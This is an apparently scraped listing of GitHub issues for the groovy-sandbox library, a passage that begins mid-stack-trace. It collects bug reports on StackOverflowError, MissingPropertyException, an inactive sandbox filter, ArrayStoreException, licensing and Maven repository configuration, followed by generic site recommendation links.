	at jenkins.util.ContextResettingExecutorService$1.run(ContextResettingExecutorService.java:28)
	at jenkins.security.ImpersonatingExecutorService$1.run(ImpersonatingExecutorService.java:59)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:748)

If I remove the variable number of arguments from Node, it works fine.

We are using Jenkins 2.176.4.

StackOverflowError on a class method call

I have a groovy script below which fails with the StackOverflowError

User user = new User();

user.setLoginName("abdc"); // This is ok.
user.getLoginName(); // This line throw error

class User {

private String loginName;
private String userName;
private String description;
private String password;
private String email;
private String locale;
private List groupList;

public List getGroupList(){
return groupList;
}

public void setGroupList(List groupList){
this.groupList = groupList;
}

public String getLoginName() {
return loginName;
}
public void setLoginName(String loginName) {
this.loginName = loginName;
}
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getLocale() {
return locale;
}
public void setLocale(String locale) {
this.locale = locale;
}

}

It fails with the following error:

java.lang.StackOverflowError
	at org.codehaus.groovy.runtime.memoize.UnlimitedConcurrentCache.get(UnlimitedConcurrentCache.java:182)
	at groovy.lang.GroovyClassLoader.getClassCacheEntry(GroovyClassLoader.java:760)
	at groovy.lang.GroovyClassLoader.loadClass(GroovyClassLoader.java:860)
	at groovy.lang.GroovyClassLoader.loadClass(GroovyClassLoader.java:979)
	at groovy.lang.GroovyClassLoader.loadClass(GroovyClassLoader.java:967)
	at groovy.lang.GroovyClassLoader$InnerLoader.loadClass(GroovyClassLoader.java:607)
	at sun.reflect.GeneratedMethodAccessor15.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:107)
	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:323)
	at groovy.lang.MetaClassImpl.getProperty(MetaClassImpl.java:1918)
	at groovy.lang.MetaClassImpl.getProperty(MetaClassImpl.java:3828)
	at groovy.lang.GroovyObject.getProperty(GroovyObject.java:50)
	at org.codehaus.groovy.runtime.InvokerHelper.getProperty(InvokerHelper.java:192)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.getProperty(ScriptBytecodeAdapter.java:468)
	at org.kohsuke.groovy.sandbox.impl.Checker$7.call(Checker.java:355)
	at org.kohsuke.groovy.sandbox.GroovyInterceptor.onGetProperty(GroovyInterceptor.java:68)
	at org.kohsuke.groovy.sandbox.GroovyValueFilter.onGetProperty(GroovyValueFilter.java:73)
	at org.kohsuke.groovy.sandbox.impl.Checker$7.call(Checker.java:353)
	at org.kohsuke.groovy.sandbox.impl.Checker.checkedGetProperty(Checker.java:357)
	at org.kohsuke.groovy.sandbox.impl.Checker$checkedGetProperty$0.callStatic(Unknown Source)
	at User.getLoginName(Script1.groovy:25)
	at sun.reflect.GeneratedMethodAccessor15.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:107)
	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:323)
	at groovy.lang.MetaClassImpl.getProperty(MetaClassImpl.java:1918)
	at groovy.lang.MetaClassImpl.getProperty(MetaClassImpl.java:3828)
	at groovy.lang.GroovyObject.getProperty(GroovyObject.java:50)
	at org.codehaus.groovy.runtime.InvokerHelper.getProperty(InvokerHelper.java:192)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.getProperty(ScriptBytecodeAdapter.java:468)
	at org.kohsuke.groovy.sandbox.impl.Checker$7.call(Checker.java:355)
	at org.kohsuke.groovy.sandbox.GroovyInterceptor.onGetProperty(GroovyInterceptor.java:68)
	at org.kohsuke.groovy.sandbox.GroovyValueFilter.onGetProperty(GroovyValueFilter.java:73)
	at org.kohsuke.groovy.sandbox.impl.Checker$7.call(Checker.java:353)
	at org.kohsuke.groovy.sandbox.impl.Checker.checkedGetProperty(Checker.java:357)
	at org.kohsuke.groovy.sandbox.impl.Checker$checkedGetProperty$0.callStatic(Unknown Source)
	at User.getLoginName(Script1.groovy:25)
	at sun.reflect.GeneratedMethodAccessor15.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:107)
	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:323)
	at groovy.lang.MetaClassImpl.getProperty(MetaClassImpl.java:1918)
	at groovy.lang.MetaClassImpl.getProperty(MetaClassImpl.java:3828)
	at groovy.lang.GroovyObject.getProperty(GroovyObject.java:50)
	at org.codehaus.groovy.runtime.InvokerHelper.getProperty(InvokerHelper.java:192)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.getProperty(ScriptBytecodeAdapter.java:468)
	at org.kohsuke.groovy.sandbox.impl.Checker$7.call(Checker.java:355)
	at org.kohsuke.groovy.sandbox.GroovyInterceptor.onGetProperty(GroovyInterceptor.java:68)
	at org.kohsuke.groovy.sandbox.GroovyValueFilter.onGetProperty(GroovyValueFilter.java:73)
	at org.kohsuke.groovy.sandbox.impl.Checker$7.call(Checker.java:353)
	at org.kohsuke.groovy.sandbox.impl.Checker.checkedGetProperty(Checker.java:357)
	at org.kohsuke.groovy.sandbox.impl.Checker$checkedGetProperty$0.callStatic(Unknown Source)
	at User.getLoginName(Script1.groovy:25)
	at sun.reflect.GeneratedMethodAccessor15.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:107)
	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:323)
	at groovy.lang.MetaClassImpl.getProperty(MetaClassImpl.java:1918)
	at groovy.lang.MetaClassImpl.getProperty(MetaClassImpl.java:3828)
	at groovy.lang.GroovyObject.getProperty(GroovyObject.java:50)
	at org.codehaus.groovy.runtime.InvokerHelper.getProperty(InvokerHelper.java:192)
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.getProperty(ScriptBytecodeAdapter.java:468)
	at org.kohsuke.groovy.sandbox.impl.Checker$7.call(Checker.java:355)
	at org.kohsuke.groovy.sandbox.GroovyInterceptor.onGetProperty(GroovyInterceptor.java:68)
	at org.kohsuke.groovy.sandbox.GroovyValueFilter.onGetProperty(GroovyValueFilter.java:73)

Missing license

There is no license associated with this code, as far as I can see. What license terms apply to this? A license.txt or similar should be added to the repository to clarify licensing/copyright.

MissingPropertyException in loop with binding variable

The code below throws a MissingPropertyException with sandbox 1.6. 1.5 is fine.

def x = 0
for ( i in 0..9 ) {
    x += i
}  
return x

However, using an local var (e.g. def i) for loop variable does not throw the same exception.

filter of sandbox is inactive

I want to use groovy-sandbox in my project ( java project), so I create "GroovySandbox", the source code is as follow:
`
public class GroovySandbox extends GroovyValueFilter {

@Override
public Object filter(Object o) {
    throw new SecurityException("Denied!");
}

}
`

And I register the sandbox in my code like :
CompilerConfiguration compilerConfiguration = new CompilerConfiguration(); compilerConfiguration.addCompilationCustomizers(new SandboxTransformer()); GroovyShell groovyShell = new GroovyShell(compilerConfiguration); new GroovySandbox().register(); groovyShell.evaluate("return true;");

While I debug my code, and I found it can never stop into filter method, and the exception is not thrown, is there anything I missed ?
Thanks !

java.lang.ArrayStoreException: org.kohsuke.groovy.sandbox.SandboxTransformer

Hello sir I m getting following error:
java.lang.ArrayStoreException: org.kohsuke.groovy.sandbox.SandboxTransformer java.lang.ArrayStoreException: org.kohsuke.groovy.sandbox.SandboxTransformer

My code is:
CompilerConfiguration cc = new CompilerConfiguration(); SandboxTransformer st = new SandboxTransformer(); cc.addCompilationCustomizers(st);

Getting error at line 3rd line.

Can you suggest me what should I do?

It's not obvious that https://repo.jenkins-ci.org/public/ needs to be configured as a repository

If you depend on the latest release shown in the "Releases" tab of this Github repo (currently 1.24) then an mvn build shows the following warning:

[WARNING] The POM for org.kohsuke:groovy-sandbox:jar:1.24 is missing, no dependency information available

and it is necessary to explicitly include the groovy dependency as well, because the lack of POM means it is not provided transitively.

Additionally I note that the latest version visible at Maven Central is 1.19 (from April 2018).

Is there a specific maven repo that I need to pull artifacts from, or is there some other way to resolve this cleanly?

Many thanks.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.